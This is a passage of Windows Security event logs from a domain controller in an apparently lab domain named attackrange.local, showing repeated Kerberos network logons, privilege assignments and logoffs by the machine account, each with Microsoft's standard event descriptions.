	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64123

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249059
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1C76

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249058
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1C15

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249057
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1C15
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64122

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249056
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1C15

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249079
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1ECE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249078
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1ECE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64129

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249077
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1ECE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249076
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1E6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249075
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1E6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64128

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249074
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1E6D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249073
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1E07

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249072
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1E07
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64127

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249071
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1E07

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249070
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1DA6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249069
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1DA6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64126

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249068
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1DA6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249091
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2073

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249090
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD2073
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64133

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249089
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2073

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249088
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2012

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249087
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD2012
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64132

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249086
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2012

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249085
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1FAC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249084
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1FAC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64131

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249083
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1FAC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249082
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1F4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249081
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1F4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64130

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:08 PM
LogName=Security
